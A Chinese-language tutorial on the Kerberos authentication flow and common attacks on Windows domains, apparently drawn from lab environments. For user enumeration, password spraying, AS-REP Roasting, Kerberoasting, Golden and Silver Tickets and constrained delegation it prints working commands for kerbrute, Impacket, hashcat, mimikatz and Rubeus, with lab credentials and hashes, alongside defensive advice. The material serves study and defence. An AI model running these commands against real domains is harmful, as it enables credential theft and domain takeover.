详解Kerberos认证流程及常见攻击方式
字数 2338 2025-08-22 18:37:14
Kerberos认证流程详解及常见攻击方式
一、Windows认证体系概述
Windows系统主要有三种认证方式:
-
本地认证:用户登录本地计算机时的认证方式,密码存储在本地SAM文件中
- 可通过mimikatz等工具抓取本地哈希
-
网络认证:两台计算机之间访问资源时的认证
- 存在NTML中间人劫持风险
- 无法证明"自己是自己"的安全问题
-
Kerberos认证:域环境中的认证方式
- 解决了前两种认证方式的明显缺陷
- 采用票据机制实现安全认证
二、Kerberos基础概念
Kerberos名称来源于希腊神话中的三头地狱犬,协议中也包含三个核心角色:
- 客户端(Client):发起认证请求的一方
- 服务端(Server):接收请求并提供服务的一方
- 密钥分发中心(KDC):认证核心组件,分为两部分:
- AS(Authentication Server):认证服务器,验证客户端身份并发放TGT
- TGS(Ticket Granting Server):票据授予服务器,发放服务票据(ST)
三、Kerberos认证流程详解
1. 认证流程概述
- AS-REQ & AS-REP:客户端向AS请求TGT票据
- TGS-REQ & TGS-REP:客户端使用TGT向TGS请求服务票据
- AP-REQ & AP-REP:客户端使用服务票据请求服务
2. 详细认证步骤
第一步:AS-REQ & AS-REP
- 客户端发送用户信息(Name、IP、Time等)到KDC,向AS请求TGT
- KDC检查客户端是否在AD白名单中
- AS生成随机Session Key,并用:
- 用户NTLM Hash加密Session Key得到密文A
- krbtgt的NTLM Hash加密Session Key、客户端信息和时间戳得到TGT
- 将密文A和TGT返回给客户端
关键点:
- TGT分为两部分:
- 用客户端Hash加密的部分(客户端可解密)
- 用krbtgt Hash加密的部分(客户端不可解密,即黄金票据)
第二步:TGS-REQ & TGS-REP
- 客户端用自身NTLM Hash解密密文A得到Session Key
- 用Session Key加密客户端信息和时间戳得到密文B
- 将密文B和TGT发送给TGS
- TGS用krbtgt的NTLM Hash解密TGT,得到Session Key和客户端信息
- 用解密出的Session Key解密密文B,验证信息一致性
- 验证通过后,TGS生成新的Session Key2
- 用Session Key2加密时间戳和客户端信息得到密文Enc
- 用服务端NTLM Hash加密Session Key2、时间戳和客户端信息得到服务票据(ST)
- 将ST返回给客户端
第三步:AP-REQ & AP-REP
- 客户端将ST和Enc发送给服务端
- 服务端用自己的NTLM Hash解密ST,得到Session Key2和客户端信息
- 用Session Key2解密密文Enc,验证信息一致性
- 验证通过后授权访问
四、Kerberos常见攻击方式
1. AS-REQ阶段攻击
(1) 域内用户枚举
原理:利用Kerberos预认证机制,通过响应差异判断用户是否存在
工具:
./kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab username.txt -t 10
防御:启用账户锁定策略,限制失败尝试次数
(2) 密码喷洒攻击
原理:使用常见密码尝试多个用户账户
工具:
./kerbrute passwordspray --dc 172.22.9.7 -d xiaorang.lab users.txt password
crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
防御:实施强密码策略,启用多因素认证
2. AS-REP阶段攻击
AS-REP Roasting攻击
前提:目标账户设置了"不需要Kerberos预身份验证"
攻击步骤:
- 识别禁用预认证的账户:
python3 GetNPUsers.py -dc-ip 172.22.6.12 xiaorang.lab/ -usersfile users.txt
- 获取加密的Login Session Key
- 使用hashcat爆破:
hashcat -m 18200 --force -a 0 '$krb5asrep$...' rockyou.txt
防御:确保所有账户启用预认证,监控异常请求
3. 黄金票据攻击(Golden Ticket)
原理:伪造TGT票据,可访问任意服务
必要条件:
- 域名
- 域SID值
- krbtgt账号的NTLM Hash
- 伪造的用户名
攻击步骤:
- 获取krbtgt Hash:
lsadump::dcsync /domain:xiaorang.lab /user:krbtgt
- 生成黄金票据:
kerberos::golden /user:administrator /domain:xiaorang.lab /sid:S-1-5-21... /krbtgt:fb812eea13a18b7f /ptt
防御:定期更换krbtgt密码(建议每6个月),监控异常TGT使用
4. TGS-REP阶段攻击
Kerberoasting攻击
原理:通过请求服务票据(ST)并离线破解服务账户密码
攻击步骤:
- 发现SPN服务:
python3 GetUserSPNs.py -dc-ip 172.22.9.7 zhangjian@xiaorang.lab:i9XDE02pLVf
- 请求服务票据:
python3 GetUserSPNs.py -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf -request-user zhangxia
- 使用hashcat爆破:
hashcat -m 13100 -a 0 '$krb5tgs$...' rockyou.txt
防御:使用强服务账户密码,实施服务账户管理策略
5. 白银票据攻击(Silver Ticket)
原理:伪造特定服务的ST票据,只能访问指定服务
必要条件:
- 域名
- 域SID值
- 目标服务器名
- 服务账号的NTLM Hash
- 伪造的用户名
攻击步骤:
- 获取服务账号Hash:
sekurlsa::logonpasswords
- 生成白银票据:
kerberos::golden /domain:god.org /sid:S-1-5-21... /target:OWA2010CN-God.god.org /rc4:78c403b6e04402158d26c5581f9e954b /service:cifs /user:saul666 /ptt
防御:启用PAC验证,使用AES加密而非RC4
6. 委派攻击
(1) 非约束性委派攻击
风险:被控服务器可代表用户访问域内任何服务
(2) 约束性委派攻击
攻击步骤:
- 获取有委派权限的账户凭据
- 请求可转发的TGT:
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:2dfb7f374fb297b3daa6a0e805beb048 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
- 请求服务票据:
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZag...
- 执行DCSync:
lsadump::dcsync /domain:xiaorang.lab /user:Administrator
防御:限制委派权限,使用基于资源的约束性委派
五、防御建议
-
账户安全:
- 实施强密码策略
- 禁用不必要的服务账户
- 定期轮换krbtgt和服务账户密码
-
配置加固:
- 确保所有账户启用预认证
- 限制委派权限
- 启用PAC验证
-
监控检测:
- 监控异常Kerberos请求
- 检测黄金/白银票据使用
- 审计委派配置变更
-
加密升级:
- 使用AES加密而非RC4
- 禁用DES和弱加密算法
-
网络防护:
- 限制域控制器访问
- 实施网络分段
- 监控KDC异常活动
通过深入理解Kerberos协议原理和攻击技术,可以更有效地防御针对企业身份认证系统的攻击。